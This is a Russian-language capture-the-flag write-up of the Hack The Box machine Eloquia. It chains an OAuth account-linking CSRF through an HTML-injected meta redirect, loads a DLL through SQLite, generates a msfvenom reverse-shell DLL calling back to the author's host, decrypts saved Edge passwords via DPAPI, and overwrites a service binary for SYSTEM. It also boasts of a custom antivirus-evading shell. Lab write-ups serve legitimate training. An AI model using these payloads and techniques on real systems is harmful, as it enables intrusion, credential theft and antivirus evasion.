Новости ChatGPT

Insane прохождение Hack The Box коробки. Eloquia

Предисловие

Приветствую и приглашаю всех на увлекательное путешествие в мир сложнейшей лабы от Hack The Box этого сезона!

Меня зовут Ян, я пентестер с многолетним опытом. Вот мой профайл на HTB. Сегодня я решил поделиться прохождение лабы Insane (высшей) сложности Eloquia. Мне всегда хотелось написать такое прохождение, но обычно меня останавливало уже наличие множества гайдов в сети. А в этом случае, после решения, я не нашел ни одного полноценного решения. Поэтому, я делюсь с вами своими наработками.

Но это не только гайд для продвинутых. Для самых новеньких я выложил трюкаи, как эффективно проходить лабы в HTB. Кроме самого решения буду рассказывать про полезные утилиты, о том чем отличаются лабы на HTB от реального пентеста и как становиться лучше.

Поэтому запасайтесь орешками и любимыми напитками, и приступим к делу!

1 Этап. Сканирование хоста

Запустив лабу, нам выдается айпишник 10.10.11.99. На данный момент у нас нет никакой инфы об этом хосте, поэтому всегда в начале просто ищем открытые порты.

Внимание! Обычно начинают скан утилитой nmap, но лучше оставить ее для скана самих сервисов, когда будут уже известны порты. Дело в том, что nmap очень медленный если его запустить по всему диапазону портов от 1 до 65535.

Поэтому сначала ищем порты с помощью специальной для таких целей утилиты: masscan.

masscan -e tun0 -p 1-65535 --banners -Pn\
--rate=500 --open-only -oG ports.txt 10.10.11.99

Timestamp: 1767509044	Host: 10.10.11.99 ()	Ports: 5985/open/tcp//unknown//
Timestamp: 1767509052	Host: 10.10.11.99 ()	Ports: 80/open/tcp//http//
Объяснить код с

Там где надо sudo указываем его сами. Здесь буду постить код без sudo для удобства чтения.

Для интереса запустите эт��т скан на nmap и посмотрите на разницу по времени. Данный скан с 500 пакетов в сеунду завершился менее чем за минуту. Если ваш пинг с Hack the Box менее чем 100 ms, то можно взять rate еще выше и получится быстрее. Вообще masscan поддерживает rate до 25 миллионов пакетов в секунду при наличии PF_RING драйвера, что достаточно для ежедневного полного скана всего белого интернета.

Двигаем дальше? Порты знаем, теперь банальный скан их сервисов:

nmap -sS -sV -A -p 5985,80 -T3 -v -Pn -oN version_scan.txt 10.10.11.99

PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://eloquia.htb/
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Объяснить код с

Можно и нужно заморочиться, добавив затем --script=http*, потому что можно найти быстро доступные уязвимости. В данном случае пользы было не много.

Видим, что повис редирект и добавим новый хост для резолва:

echo "10.10.11.99 eloquia.htb" > /etc/hosts
Объяснить код с

Хост у нас Windows, проверим это через сервис WinRM и получим дополнительную инфу утилитой nxc:

$ nxc winrm eloquia.htb
WINRM  ...  
  • Windows 10 / Server 2019 Build 17763 (name:ELOQUIA) (domain:Eloqu
  • Объяснить код с

    В данном случае имеем дело с оконным сервером 2019. SMB порт закрыт, nmap не нашел никаких уязвимостей в протоколе WinRM. Делаем вывод, что данный сервис нам пригодится позже и для прямой эксплуатации не подойдет.

    2 Этап. Изучение Веб сервиса и обход OAuth

    Очень советую установить себе Wappalyzer расширение, которое дает возможность быстро просмотреть технические стаки и может узреть что-то устаревшее и уязвимое.

    Никакой CMS типа Wordpress тут нет, а есть самописное приложение на Django. Из моего опыта сдачи на OSCP и пентеста, обычно самые большие косяки кроются в таких вот самодельных веб приложениях.

    Однако, не долго я радовался, потому что зарегестрировавшись и полазив с поддержкой Burp Proxy, ничего кроме HTML инъекции в создании статей я не нашел. Но не все тэги работаю, например img не рендерился. Просто пока оставим это на заметку и дальше.

    Обычно, если никаких интересных вещей типа command injection и RFI/LFI я не нахожу, то перехожу к расммотрению механизма авторизации и логина.

    Кроме обычного логина через креды есть еще OAuth. Вариант через Facebook не работает, но вот Qooqle пытется нас перекинуть на qooqle.htb. А что если на там рабочий сервис? Добавляем его в /etc/hostsи следуем на http://qooqle.htb.

    И так, что мы имеем. На eloquia.htb и qooqle.htb можно создать два разных аккаунта, а потом соединить их на http://eloquia.htb/accounts/connect/.

    Давайте рассмотрим все шаги авторизац��и на соединение аккаунтов:

    1. Запрос на авторизацию переводит нас на qooqle.htb.

    2. Qooqle присваивает уникальный ID, тип ответа code и обратный редирект.

    3. Отправка запроса на Qooqle и в ответе от Qooqle получем значение заголовка с целью редиректа и code:

      Location: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code=kKIRcYIEj7slquQOTgnYogRujqQDFx

    4. После редиректа code отправляется на Eloquia. В бэкэнде согласно OAuth 2.0 стандарту, Eloquia использует данный код для работы с API сервера авторизации Qooqle. В итоге, сессия пользователя связывается с данными Qooqle. И пользователь ассоциируется с аккаунтом на Qooqle.

    А что если ассоциировать чужую учетку на Eloquia с нашим Qooqle? Для этого надо похитить сессию жертвы, чтобы атаковать третий шаг. Но как это сделать? Есть два пути XXS и CSRF.

    Сразу скажу, что создатели HTB не очень любят XSS, но я его поискал и все равно не нашел. Поэтому переходим к поиску CSRF. И тут еще одна подсказка - HTB любят создавать admin ботов, которых нужно раскурутить на небезопасное действие.

    Поэтому сразу возник план, основанный на том, что отсутствует какая-либо проверка источника ответного кода в четвертом шаге. Поэтому Eloquia может использовать любой код с сессией любого пользователя. И тут вспоминаем про ранее найденую HTML инъекцию!

    Создадим такой Article (http://eloquia.htb/article/create/), который будет перенаправлять админа с нашим кодом и свяжем нашу учетку на Qooqle с учеткой админа на Eloquia. Затем попросту залогинемся на Eqloqui через OAuth, используя Qooqle и получим права админа.

    Но ка�� гарантировать, что именно админ первым открроет вредоносный Article и попадется?

    Заметим, что есть кнопка Report (http://eloquia.htb/article/visit/<Article ID>/) и будет логично, если админ проверяет все репорты. Там мы его и поймаем на удочку.

    Все это провернуть без автоматизации довольно проблематично, поэтому я создал небольшой Python скрипт для помощи на моем гите.

    Для запуска скрипта достаточно после связки ваших аккаунтов на Eloquia и Qooqle залогиниться на Eloquia и скопировать из заголовка значения куки и вставить их в скрипт.

    Запускаем скрипт, он автоматически создаст статью и зарепортит ее. А как быть с нагрузкой в статье через HTML Injection? Как вызвать автоматический редирект админа? Используем meta тэг.

    <p><meta http-equiv="refresh" content="0;url=http://10.10.16.157:8443/bait.html"></p>
    Объяснить код с

    Тут все не так просто, потому что иногда при попытке зарепортить такую статью вылезало предупреждение о детекте зловредного контента и админ-бот уже не приходил. Поэтому я применил обфускацию через HTML символы и все cработало на 100%:

    payload = f"&lt;p&gt;&lt;meta http-equiv = \"refresh\" content = \"0; url=http://{LISTEN_IP}:{LISTEN_PORT}/bait.html\" &gt;&lt;/p&gt;"
    Объяснить код с

    Теперь запускаем скрипт и ждем админа. Как только он появится, необходимо создать собственный запрос через http://eloquia.htb/accounts/oauth2/qooqle/authorize/ и, используя, режим Intercept в Burp скопировать код и вставить в промпт скрипта:

    Далее необходимо дропнуть запрос в Burp и выйти из учетной записи (logout). Перезаходим в нашу учетку, но не через пароль, а через нажатие OAuth Qooqle. И увидите, что у вас есть админ права, потому что ваша Qooqle ассоциируется с админом на Eloquia.

    Также появится слева кнопка от админ-панели. Переходим...

    3 Этап. RCE через SQLite

    Изучая функционал админки, находим SQL Explorer (http://eloquia.htb/dev/sql-explorer), который реально выполняет команды на продуктовой БД в бэке:

    PRAGMA database_list;
    C:\Web\Eloquia\db.sqlite3
    Объяснить код с

    Значит у нас SQLite, попробуем найти хэши админа. Это первое что вам всегда надо делать в таких ситуациях. Если получится взломать хэш и получить креды, то велика вероятность, что их возможно переиспользовать для логина в других сервисах (WinRM?).

    SELECT name FROM sqlite_master WHERE type='table';
    
    superuser
    
    pbkdf2_sha256$720000$l0PVHno3vDtBJLVyPRaKhM...
    Объяснить код с

    Отыскиваем нужный тип хэша для hashcat.

    Запускаем hashcat:

     hashcat -m 10000 -a 0 auc_hash.txt  ~/security/dictionaries/rockyou.txt
    Объяснить код с

    И ... ничего не взламыается со стандартным словарем. Можно пробовать с seclists, но обычно если перебор на HTB работает, то rockyou.txt достаточно.

    Значит если хэш не получается крякнуть, то пробуем получить RCE другими методами. И поисковый запрос в GOOGLE выдаст нам CVE-2024-47881. Там происходит подгрузка и выполнение произвольной DLL библиотеки, так как включен параметр enable_load_extension. Ищем и находим, что это может сработать в SQLite через команду: SELECT load_extension('path/to/pwn.dll');

    Пробуем и видим, что да эта команда реально работает, но ошибка вылазит, потому что не находит модуля, то есть DLL. Это логично, ведь мы просто указали произвольное значение.

    Как загрузить DLL? Первое, что в таком случве пробуем - это через SMB сервер, ведь на том конце Windows. Поднимаем анонимный SMB сервак через impacket:

    python3 ~/Tools/impacket/examples/smbserver.py -smb2support DORK .
    Объяснить код с

    Но получаем отказ, потому что в новых версиях окон соединение без аутентификации через SMB запрещено. Ищем другие пути.

    И здесь надо помнить, что новые админ-функции надо досканально исследовать. Одна из них позволяет создавть статьи прямо из админки. Проверяем функцию загрузки баннера и в отличии от загрузки в основном сайте, здесь мы можем подгружать произвольные файлы и не только картинки. Дополняется это все тем, что к этим файлам есть затем прямой доступ, но сразу скажу, что RFI не получится. Зато этот путь можно указать в load_extension...

    Создаем DLL с обратным шеллом в msfvenom:

    msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.16.29 LPORT=443 -f dll > pwn.dll
    Объяснить код с

    Запускаем nc -lnvp 443 и триггерим SQL:

    И ... и... в итоге, тишина. Почему? В таких случаях проверяем га своей виртуалке Windows и сразу заметим, что наш DLL блочится антивирусом. Поэтому стандартные шеллы от metasploit и прочих фреймворков не подойдут. Или надо кастомизировать или писать свой. Я выбрал путь написать свой и вот что из этого вышло: код на моем гите. Эта штука 100% обходит обычного защитника. Компилируйте в Visual Studio и пользуйтесь наздоровье, пока ее не удалили :)

    И если все правильно, то уловите шелл от польователя web.

    Едем дальше.

    4 Этап. Захват другой учетки

    Здесь можно написать отдельный роман по поиску уязвимостей на хосте Windows. Или можете просто скачать мои чит-листы.

    Буду краток: многие команды и функции обычного powershell, да и win32 не будут работать. Пожалуй этот поиск отнял у меня больше всего времени при решении, а оно было под носом.

    Подумайте. Ваша ревнивая бывшая получила доступ к вашему компу. Куда она в первую очередь полезет. В телегу, но ее тут нет, тога наверно в браузер. Да, именно в браузере Edge много интересных логинов и паролей! Достанем их.

    Поискав в GOOGLE, находим, что все секреты Edge хранятся в файле Login Data, а зашифрованы они ключом, который в Local State. Но этот ключ еще и перешифрован мастер-ключом из DPAPI. Так как мы в сессии пользователя web, то можно попробовать расшифровать сессионным ключом. Это, как подсказал чат-бот, можно сделать следующим скриптом.

    Вся магия в этой строке, которая берет ключ сессии и расшифровывает мастер-ключ:

    win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
    Объяснить код с

    Что бы запустить скрипт его надо скопировать на хост. Так как у нас есть шелл, можно поключиться к нашему SMB серверу с кредами.

    python3 ~/Tools/impacket/examples/smbserver.py -username toto -password NoRegrets1337 -smb2support DORK .
    Объяснить код с

    Копируем код и модули, чтобы все сработало:

    copy \\10.10.16.12\grok\pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl
    copy \\10.10.16.12\grok\pywin32-306-cp311-cp311-win_amd64.whl
    "c:\Program Files\Python311\python.exe" -m pip install pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl
    "c:\Program Files\Python311\python.exe" -m pip install pywin32-306-cp311-cp311-win_amd64.whl
    Объяснить код с

    Запуск:

    C:\Users\web>"c:\Program Files\Python311\python.exe" decryptor.py
    "c:\Program Files\Python311\python.exe" decryptor.py
    URL: 
    User: olivia.kat
    Pass: Failed to decrypt
    
    URL: http://eloquia.htb/accounts/login/
    User: Olivia.KAT
    Pass: А ЭТО вы найдете сами :)))
    Объяснить код с

    Отлично! Мы получили креды от второго пользователя.

    5 Этап. Повышение привилегий

    Заходим в новую учетку:

    evil-winrm -i 10.10.11.99 -u Olivia.KAT -p '???'
    Объяснить код с

    Здесь как и в прошлой учетке крайне ограничены команды cmd и powershell. Нормально исследовать не получится. Зато есть подсказка на Desktop:

    *Evil-WinRM* PS C:\Users\Olivia.KAT\Desktop> cat Todo.txt
    [X] implement App.config file
    [X] implement file type filtering
    [] read firewall rules on service start
    [] implement malicious input detection algorithm
    [] avoid reading the whole "log" file on every service recall
    -------------------------------
    Problem: service is eating the CPU at huge log file size
    Solution(temporary): Log rotation & service restart
    Объяснить код с

    Значит ищем App.config и находим:

    *Evil-WinRM* PS C:\Users\Olivia.KAT\Documents> Get-ChildItem -Path "C:\" -Recurse -File -Filter "App.config" -ErrorAction SilentlyContinue
    
    
        Directory: C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban
    
    
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    -a----        4/25/2024  11:32 AM            273 App.config
    Объяснить код с

    Интересная директория с множеством исходников, но в подсказке еще речь о логах. Находим и читаем их:

    cat ServiceLog_1_10_2026.txt
    
    
    1/10/2026 1:27:10 AM - Service is stopped
    1/10/2026 1:27:10 AM - Service is started
    1/10/2026 1:27:10 AM - Proccessing log file
    [...]
    1/10/2026 1:32:10 AM - Proccessing log file
    1/10/2026 1:32:10 AM - Service is stopped
    1/10/2026 1:32:10 AM - Service is started
    1/10/2026 1:32:10 AM - Proccessing log file
    Объяснить код с

    Значит сервис Failure2Ban стартует заново примерно каждые 5 минут. Найдем, где лежит исполняемый бинарник:

    *Evil-WinRM* PS C:\Users\Olivia.KAT\Documents> reg query HKLM\SYSTEM\CurrentControlSet\Services\Failure2Ban /v ImagePath
    
    C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Failure2Ban.exe
    Объяснить код с

    Посмотрим можем ли мы его переписать:

    *Evil-WinRM* PS C:\Users\Olivia.KAT\Documents> icacls "C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Failure2Ban.exe"
    C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Failure2Ban.exe ELOQUIA\Olivia.KAT:(I)(RX,W)
    Объяснить код с

    Есть метка W, значит можем его переписать, но не когда он активен, а во временном окне старт-стопа.

    Пишем скрипт для поиска данного окна: мой вариант. Генерим свой бинарник с шеллом или любой другой командой и запускаем:

    *Evil-WinRM* PS C:\Users\Olivia.KAT\Documents> .\racer.ps1
    Trying to overwrite: C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Failure2Ban.exe
    [+] SUCCESS
    Объяснить код с

    Ура! Вы должны получить права SYSTEM и можете прочитать флаг.

    Спасибо!

    Спасибо всем кто дочитал до конца! Надеюсь было интересно. Потому что я старался не только пошагово все решить, но и обсудить возможные ошибки и альтернативные пути.

    Главное в хакинге научиться думать, как хакер и все получится.